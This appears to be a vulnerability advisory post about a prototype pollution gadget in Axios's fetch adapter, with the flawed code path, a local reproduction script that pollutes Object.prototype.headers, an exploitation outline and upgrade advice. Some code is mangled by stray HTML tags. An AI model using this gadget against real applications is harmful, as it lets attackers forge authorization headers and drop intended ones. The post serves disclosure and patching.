Listen to this Post
Axios is a promise-based HTTP client used in both browser and Node.js environments. From version 1.7.0 until 1.20.0, the fetch adapter contains a read-side prototype pollution gadget that can alter outbound HTTP requests.
The core issue lies in lib/adapters/fetch.js. When the fetch adapter processes a request, it constructs a sanitized `resolvedOptions` object and creates a `Request` instance using those options. However, after creating the Request, the code calls `fetch(request, fetchOptions)` instead of fetch(request, resolvedOptions). This means the original, unsanitized `fetchOptions` is passed as the second argument to the native `fetch` function.
In JavaScript, property access traverses the prototype chain. If an attacker has already exploited a separate prototype pollution vulnerability to set Object.prototype.headers, any `fetchOptions` object that lacks its own `headers` property will inherit this malicious value. When the native `fetch` call is made, the runtime (such as Node.js undici-backed fetch) can use this inherited `headers` property, overriding the sanitized headers that were already set on the `Request` object.
Axios does not create the prototype pollution source. It acts as a gadget that becomes exploitable only after same-process prototype pollution has occurred. The vulnerability allows an attacker to inject arbitrary HTTP headers into outgoing requests and drop caller-specified headers, potentially affecting authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.
The issue is specific to the fetch adapter and does not affect requests made with the Node HTTP adapter.
DailyCVE Form:
Platform: Axios
Version: 1.7.0-1.20.0
Vulnerability: Prototype Pollution
Severity: Moderate
date: 2026-09-16
Prediction: 2026-08-19
What Undercode Say:
-
</dt> <dt>Verify axios version in use</dt> <dt>npm list axios</dt> <dt>Check if fetch adapter is selected in application code</dt> <dt>grep -r "adapter.fetch" ./src</dt> <dt>Reproduce the vulnerability in a local test</dt> <dt>node -e "</dt> <dt>const http = require('node:http');</dt> <dt>const axios = require('axios');</dt> <dt>const server = http.createServer((req, res) => {</dt> <dt>res.end(JSON.stringify({</dt> <dt>authorization: req.headers.authorization || null,</dt> <dt>xGood: req.headers['x-good'] || null</dt> <dt>}));</dt> <dt>});</dt> <dt>server.listen(0, '127.0.0.1', async () => {</dt> <dt>const { port } = server.address();</dt> <dt>Object.prototype.headers = {</dt> <dt>Authorization: 'Bearer POLLUTED'</dt> <dt>};</dt> <dt>try {</dt> <dt>const res = await axios.get(`http://127.0.0.1:\${port}/\`, {</dt> <dt>adapter: 'fetch',</dt> <dt>headers: { 'X-Good': 'yes' },</dt> <dt>fetchOptions: {}</dt> <dt>});</dt> <dt>console.log(res.data);</dt> <dt>} finally {</dt> <dt>delete Object.prototype.headers;</dt> <dt>server.close();</dt> <dt>}</dt> <dt>});</dt> <dt>"</dt> <dt> -
</dt> <dt>// Vulnerable code path in lib/adapters/fetch.js</dt> <dt>const resolvedOptions = {</dt> <dt>...fetchOptions,</dt> <dt>signal: composedSignal,</dt> <dt>method: method.toUpperCase(),</dt> <dt>headers: toByteStringHeaderObject(headers.normalize()),</dt> <dt>body: data,</dt> <dt>duplex: 'half',</dt> <dt>credentials: isCredentialsSupported ? withCredentials : undefined,</dt> <dt>};</dt> <dt>request = isRequestSupported && new Request(url, resolvedOptions);</dt> <dt>let response = await (isRequestSupported</dt> <dt>? _fetch(request, fetchOptions) // <-- passes unsanitized fetchOptions</dt> <dd>_fetch(url, resolvedOptions));// Expected fix (axios 1.20.0) _fetch(request, resolvedOptions)
How Exploit: (Educational Purposes!)
An attacker must first achieve prototype pollution in the same process where an application uses Axios with the fetch adapter. Once `Object.prototype.headers` is set to an attacker-controlled value, any Axios request made with the fetch adapter and an empty or header-less `fetchOptions` object will use the inherited headers. The `Request` object is created with sanitized headers, but the subsequent `fetch(request, fetchOptions)` call allows the inherited `fetchOptions.headers` to take precedence in runtimes like Node.js undici fetch. This causes the outbound request to carry the attacker’s headers while dropping the caller’s intended headers.
Protection: from this CVE
Upgrade Axios to version 1.20.0 or later, where the fetch call correctly passes `resolvedOptions` instead of
fetchOptions. If immediate upgrade is not possible, use the Node HTTP adapter for security-sensitive server-side requests until the fix is applied. If the fetch adapter must be used, avoid passing empty `fetchOptions` objects in processes where prototype pollution is possible, and set explicit safe own values for sensitive fetch init fields such asheaders,method,body, andsignal. Additionally, address any underlying prototype pollution vulnerabilities in the application to remove the precondition for this gadget.
Impact:
An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization mechanisms, cache behavior, metadata-service interactions in cloud environments, and application-specific header-based controls such as feature toggles or security policies. The vulnerability has a CVSS score of 6.9, classified as Moderate severity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

